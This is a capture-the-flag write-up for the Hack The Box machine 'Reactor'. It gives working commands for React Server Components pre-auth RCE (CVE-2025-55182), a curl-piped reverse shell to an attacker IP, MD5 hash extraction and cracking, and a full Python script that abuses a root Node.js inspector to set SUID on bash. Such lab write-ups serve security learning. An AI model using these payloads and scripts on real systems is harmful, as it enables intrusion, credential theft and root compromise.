Reactor WriteUp
Table of Contents
Reactor is a π© Easy difficulty machine on Hack The Box, part of Season 11. The name is no coincidence, it points directly to React and the vulnerability CVE-2025-55182 (nicknamed React2Shell), a CVSS 10.0 pre-auth RCE in React Server Components.
πΊοΈ Attack Chain
Nmap β Port 22 (SSH) + 3000 (Next.js / React 19)
β
βΌ
CVE-2025-55182 (React2Shell) β malicious RSC deserialization β RCE as node
β
βΌ
/opt/reactor-app/reactor.db β MD5 hash of engineer
β
βΌ
hashcat β reactor1
β
βΌ
SSH as engineer β user.txt π©
β
βΌ
Node.js --inspect (root, localhost:9229) β CDP WebSocket β chmod +s /bin/bash β root π΄
π Reconnaissance
/etc/hosts
echo "10.129.1.162 reactor.htb" | sudo tee -a /etc/hosts
Port Scan
Phase 1, Quick TCP discovery:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv reactor.htb
Phase 2, Version and script detection:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv reactor.htb
| Port | Service | Detail |
|---|---|---|
22 | SSH | OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 |
3000 | HTTP | Next.js (X-Powered-By: Next.js) |
Web Enumeration
http://reactor.htb:3000 serves ReactorWatch, Core Monitoring System v3.2.1, a monitoring dashboard for a fictional nuclear reactor (Nuclear Dynamics Corp., Facility SITE-7). The page is public and fully server-side rendered via React Server Components (RSC).
The machine name is the biggest hint: Reactor = React + RCE.
π Initial Access, CVE-2025-55182 (React2Shell)
What is CVE-2025-55182?
π§ Concept: CVE-2025-55182, nicknamed React2Shell, is an unsafe deserialization vulnerability in React Server Components (versions 19.0.0, 19.2.0). The RSC (React Flight) protocol processes multipart payloads that can reference internal properties of the response object via identifiers like
$@. An attacker can craft a payload that injects aFunction()call with arbitrary code through the_prefixfield of_response, achieving pre-authenticated RCE with CVSS 10.0. The vulnerable endpoint in Next.js is the Server Actions handler (Next-Action).
Exploitation
git clone https://github.com/whiteov3rflow/CVE-2025-55182-poc
cd CVE-2025-55182-poc
Verify RCE with an OOB callback:
# Terminal 1 - HTTP server
goshs -d ~/http -p 80 -i 0.0.0.0
# Terminal 2
python3 exploit.py 'curl http://10.10.14.101/rce-test' http://reactor.htb:3000
10.129.1.162 - - [23/May/2026 22:18:59] "GET /rce-test HTTP/1.1" 404 -
RCE confirmed. Get a reverse shell:
# Terminal 1 - listener
penelope -p 8443
# Terminal 2 - payload
echo 'bash -i >& /dev/tcp/10.10.14.101/8443 0>&1' > ~/http/shell.sh
goshs -d ~/http -p 80 -i 0.0.0.0
# Terminal 3 - exploit
python3 exploit.py 'curl http://10.10.14.101/shell.sh|bash' http://reactor.htb:3000
[+] Got reverse shell from reactor~10.129.1.162-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/python3!
node@reactor:/opt/reactor-app$
β Shell as
node. The payload leveragesprocess.mainModule.require('child_process').execSync()injected through the_prefixfield of the_responseobject in the RSC protocol.
π Pivot to User, SQLite β engineer
Credential Extraction
The application uses a local SQLite database:
strings /opt/reactor-app/reactor.db
CREATE TABLE users (
id INTEGER PRIMARY KEY,
username TEXT NOT NULL,
password_hash TEXT NOT NULL,
role TEXT NOT NULL,
email TEXT
engineer 39d97110eafe2a9a68639812cd271e8e operator engineer@reactor.htb
admin a203b22191d744a4e70ada5c101b17b8 administrator admin@reactor.htb
MD5 Hash Cracking
echo "39d97110eafe2a9a68639812cd271e8e" > hash_engineer.txt
hashcat -m 0 hash_engineer.txt /usr/share/wordlists/rockyou.txt --force
39d97110eafe2a9a68639812cd271e8e:reactor1
SSH Access as engineer
ssh engineer@reactor.htb # reactor1
π© User Flag
cat /home/engineer/user.txt
π§ Privilege Escalation, Node.js Inspector β root
Identifying the Vector
Reviewing running processes as engineer:
ps aux
root 1405 0.0 2.1 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
A Node.js process is running as root with --inspect=127.0.0.1:9229. This exposes the Chrome DevTools Protocol (CDP) on localhost, allowing arbitrary JavaScript execution inside the process, meaning RCE as root.
π§ Concept: The
--inspectflag opens a WebSocket implementing the Chrome DevTools Protocol. Any connected client can useRuntime.evaluateto run JS with the process’s privileges. If the process runs as root, that’s arbitrary code execution as root.
Confirming the Endpoint
curl -s http://127.0.0.1:9229/json/list
[{
"description": "node.js instance",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"url": "file:///opt/uptime-monitor/worker.js",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/f9010f6d-2e0f-4d88-9651-2fcc001f07c2"
}]
Option A, node inspect (simplest)
node inspect is the built-in Node.js interactive debugger. It accepts a HOST:PORT argument and connects to the inspector via CDP. Once inside you get a REPL where exec() evaluates JS directly in the remote process:
node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
Break on start in node:internal/bootstrap/realm.js:383:1
debug>
debug> exec("process.mainModule.require('child_process').execSync('chmod +s /bin/bash').toString()")
debug> .exit
π‘
exec()in this REPL evaluates code in the target process context, not in node inspect’s own context. No manual WebSocket frame construction needed.
Option B, Python script (no extra dependencies)
Option A isn’t always viable: node inspect is interactive and can’t be easily piped in a non-tty shell. The Python script reimplements the same CDP protocol directly over TCP.
What the script does step by step:
- Fetches the WebSocket URL from the HTTP diagnostics endpoint (
/json). - Performs the WebSocket handshake manually: sends the HTTP
Upgrade: websocketheader with the standard negotiation key. - Sends masked frames: RFC 6455 requires every frame sent by the client to include 4 masking bytes XOR’d over the payload. Without this, the server silently closes the connection.
- Enables the
Runtimedomain viaRuntime.enable(required before callingRuntime.evaluate). - Executes JS as root:
process.mainModule.require(...)accesses therequirefunction from the worker’s main module (CommonJS), not a globalrequire, but the one Node.js injects into each CJS module through its module wrapper.
cat > /tmp/inspector_pwn.py << 'EOF'
import socket, json, urllib.request, time, os, struct
data = json.loads(urllib.request.urlopen('http://127.0.0.1:9229/json').read())
path = data[0]['webSocketDebuggerUrl'].split('9229')[1]
sock = socket.socket()
sock.connect(('127.0.0.1', 9229))
sock.settimeout(8)
key = 'dGhlIHNhbXBsZSBub25jZQ=='
sock.send(f'GET {path} HTTP/1.1\r\nHost: 127.0.0.1:9229\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'.encode())
sock.recv(4096)
def send_msg(s, msg):
payload = msg.encode()
mask = os.urandom(4)
masked = bytes(b ^ mask[i%4] for i,b in enumerate(payload))
ln = len(payload)
if ln <= 125:
hdr = bytes([0x81, 0x80|ln]) + mask
elif ln <= 65535:
hdr = bytes([0x81, 0xFE]) + struct.pack('>H', ln) + mask
else:
hdr = bytes([0x81, 0xFF]) + struct.pack('>Q', ln) + mask
s.send(hdr + masked)
def recv_msg(s):
try: return s.recv(4096)
except: return b''
send_msg(sock, json.dumps({"id":0,"method":"Runtime.enable"}))
time.sleep(0.5)
recv_msg(sock)
send_msg(sock, json.dumps({"id":1,"method":"Runtime.evaluate","params":{
"expression": "process.mainModule.require('child_process').execSync('chmod +s /bin/bash').toString()"
}}))
time.sleep(2)
print(recv_msg(sock))
sock.close()
EOF
python3 /tmp/inspector_pwn.py
b'\x819{"id":1,"result":{"result":{"type":"string","value":""}}}'
execSync('chmod +s /bin/bash') executed as root. Empty string = success (chmod produces no stdout).
ls -la /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31 2024 /bin/bash
/bin/bash -p
id
uid=1001(engineer) gid=1001(engineer) euid=0(root) egid=0(root) groups=0(root),4(adm),27(sudo),998(lxd),1001(engineer)
β Root shell via SUID bash. A Node.js process with
--inspectbound to loopback is enough to execute arbitrary code as root, no port forwarding required.
π΄ Root Flag
cat /root/root.txt
π Attack Summary
| # | Technique | Tool | Result |
|---|---|---|---|
| 1 | Reconnaissance | nmap | Port 3000 Next.js/React 19 |
| 2 | CVE-2025-55182 React2Shell (pre-auth RCE) | exploit.py | Shell as node |
| 3 | SQLite credential extraction | strings | MD5 hash of engineer |
| 4 | MD5 cracking | hashcat + rockyou.txt | Password: reactor1 |
| 5 | SSH | ssh | Shell as engineer + user.txt π© |
| 6 | Node.js --inspect (CDP WebSocket) | node inspect / Python | chmod +s /bin/bash as root |
| 7 | SUID bash | /bin/bash -p | Shell as root + root.txt π΄ |
See you in the next challenge.
